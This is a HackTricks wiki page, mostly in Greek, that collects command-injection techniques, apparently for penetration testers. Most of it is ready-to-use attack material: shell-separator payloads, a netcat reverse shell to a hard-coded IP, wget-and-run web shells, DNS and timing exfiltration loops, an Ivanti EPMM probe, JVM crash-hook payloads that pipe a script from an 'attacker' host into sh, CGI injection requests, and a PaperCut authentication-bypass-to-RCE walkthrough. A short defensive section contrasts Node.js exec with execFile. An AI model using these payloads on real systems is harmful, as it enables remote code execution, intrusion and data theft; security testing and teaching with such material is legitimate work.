Command Injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το command Injection?

A command injection επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον server που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.

Πλαίσιο

Ανάλογα με πού εγχέεται η είσοδός σας μπορεί να χρειαστεί να τερματίσετε το συμφραζόμενο που περικλείεται σε εισαγωγικά (χρησιμοποιώντας " ή ') πριν τις εντολές.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Περιορισμός Bypasses

Εάν προσπαθείτε να εκτελέσετε arbitrary commands inside a linux machine θα σας ενδιαφέρει να διαβάσετε σχετικά με αυτά τα Bypasses:

Bypass Linux Restrictions

Παραδείγματα

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash αριθμητική αξιολόγηση σε RewriteMap/CGI-style scripts

RewriteMap helpers written in bash sometimes push query params into globals and later compare them in arithmetic contexts ([[ $a -gt $b ]], $((...)), let). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. Οι παράμετροι αντιστοιχίζονται σε globals (stgStartTime, htheValue).
  2. Μετέπειτα έλεγχος:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Στείλτε st=theValue ώστε το gStartTime να δείχνει στη συμβολοσειρά theValue.
  2. Στείλτε h=gPath['sleep 5'] ώστε το theValue να περιέχει έναν δείκτη πίνακα· κατά τον αριθμητικό έλεγχο εκτελείται sleep 5 (αντικαταστήστε με ένα πραγματικό payload).

Probe (~5s καθυστέρηση και μετά 404 αν είναι ευάλωτο):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Σημειώσεις:

  • Αναζητήστε τον ίδιο helper κάτω από άλλα prefixes (π.χ., /mifs/c/aftstore/fob/).
  • Arithmetic contexts αντιμετωπίζουν άγνωστους tokens ως αναγνωριστικά μεταβλητών/πινάκων, οπότε αυτό παρακάμπτει απλά metacharacter filters.

Παράμετροι

Εδώ είναι οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Εξαγωγή δεδομένων: χαρακτήρας-προς-χαρακτήρα

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Βασισμένο στο εργαλείο από https://github.com/HoLyVieR/dnsbin που φιλοξενείται επίσης στο dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Διαδικτυακά εργαλεία για έλεγχο του DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Κατά τον έλεγχο back-end εφαρμογών JavaScript/TypeScript, συχνά θα συναντάτε το Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() εκκινεί ένα shell (/bin/sh -c), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, ;, &&, |, $(), …) θα οδηγήσει σε command injection όταν η είσοδος χρήστη συνενωθεί στη συμβολοσειρά.

Αντιμετώπιση: χρησιμοποιήστε execFile()spawn() χωρίς την επιλογή shell) και παρέχετε κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα έτσι ώστε να μην εμπλέκεται κανένα shell:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη αυθεντικοποιημένου WebSocket event που τοποθετούσε δεδομένα ελεγχόμενα από τον επιτιθέμενο στο id_user, τα οποία αργότερα ενσωματώνονταν σε κλήση exec(), επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Δεν απαιτούν όλα τα injections shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως arguments σε ένα system utility (ακόμα και με execve/execFile και χωρίς shell), πολλά προγράμματα θα ερμηνεύσουν οποιοδήποτε argument που ξεκινά με - ή -- ως option. Αυτό επιτρέπει σε έναν επιτιθέμενο να αλλάζει λειτουργίες, να τροποποιεί μονοπάτια εξόδου ή να ενεργοποιεί επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε shell.

Τυπικά σημεία όπου εμφανίζεται:

  • Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως ping <user>, tcpdump -i <iface> -w <file>, curl <url>, κ.λπ.
  • Κεντρικοί CGI routers (π.χ., /cgi-bin/<something>.cgi με παράμετρο selector όπως topicurl=<handler>) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator.

Τι να δοκιμάσετε:

  • Παρέχετε τιμές που ξεκινούν με -/-- ώστε να καταναλωθούν ως flags από το downstream tool.
  • Καταχρησιμοποιήστε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
    • ping: -f/-c 100000 για να πιέσετε τη συσκευή (DoS)
    • curl: -o /tmp/x για να γράψετε αυθαίρετα μονοπάτια, -K <url> για να φορτώσετε διαμόρφωση ελεγχόμενη από τον επιτιθέμενο
    • tcpdump: -G 1 -W 1 -z /path/script.sh για να επιτύχετε post-rotate εκτέλεση σε μη ασφαλείς wrappers
  • Αν το πρόγραμμα υποστηρίζει -- end-of-options, δοκιμάστε να παρακάμψετε πρόχειρες mitigations που προσθέτουν -- στο λάθος σημείο.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks για εγγυημένη εκτέλεση

Οποιοδήποτε primitive που σας επιτρέπει να inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, κ.λπ.) μπορεί να μετατραπεί σε αξιόπιστο RCE χωρίς να τροποποιήσετε το application bytecode:

  1. Εξαναγκάστε ένα deterministic crash μειώνοντας το metaspace ή το heap: -XX:MaxMetaspaceSize=16m (ή ένα πολύ μικρό -Xmx). Αυτό εγγυάται ένα OutOfMemoryError ακόμη και κατά το early bootstrap.
  2. Προσθέστε ένα error hook: -XX:OnOutOfMemoryError="<cmd>" ή -XX:OnError="<cmd>" εκτελεί μια αυθαίρετη εντολή OS κάθε φορά που το JVM τερματίζεται.
  3. Προαιρετικά προσθέστε -XX:+CrashOnOutOfMemoryError για να αποφύγετε προσπάθειες ανάκτησης και να κρατήσετε το payload one-shot.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Επειδή αυτά τα diagnostics αναλύονται από την JVM αυτή καθαυτή, δεν απαιτούνται shell metacharacters και η εντολή εκτελείται με το ίδιο επίπεδο ακεραιότητας με τον launcher. Τα Desktop IPC bugs που προωθούν user-supplied JVM flags (βλ. Localhost WebSocket abuse) επομένως μεταφράζονται άμεσα σε εκτέλεση εντολών στο OS.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose /app?service=page/SetupCompleted; browsing there and clicking Login returns a valid JSESSIONID without credentials (authentication bypass in the setup flow).
  • In Options → Config Editor, set print-and-device.script.enabled=Y and print.script.sandboxed=N to turn on printer scripting and disable the sandbox.
  • In the printer Scripting tab, enable the script and keep printJobHook defined to avoid validation errors, but place the payload outside the function so it executes immediately when you click Apply (no print job needed):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Αντικαταστήστε το callback με ένα reverse shell; αν το UI/PoC δεν μπορεί να χειριστεί pipes/redirects, κάντε stage ένα payload με μία εντολή και exec το με ένα δεύτερο request.
  • Horizon3’s CVE-2023-27350.py αυτοματοποιεί το auth bypass, config flips, command execution, και rollback — τρέξτε το μέσω upstream proxy (π.χ., proxychains → Squid) όταν η υπηρεσία είναι προσβάσιμη μόνο εσωτερικά.

Brute-Force Λίστα Ανίχνευσης

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks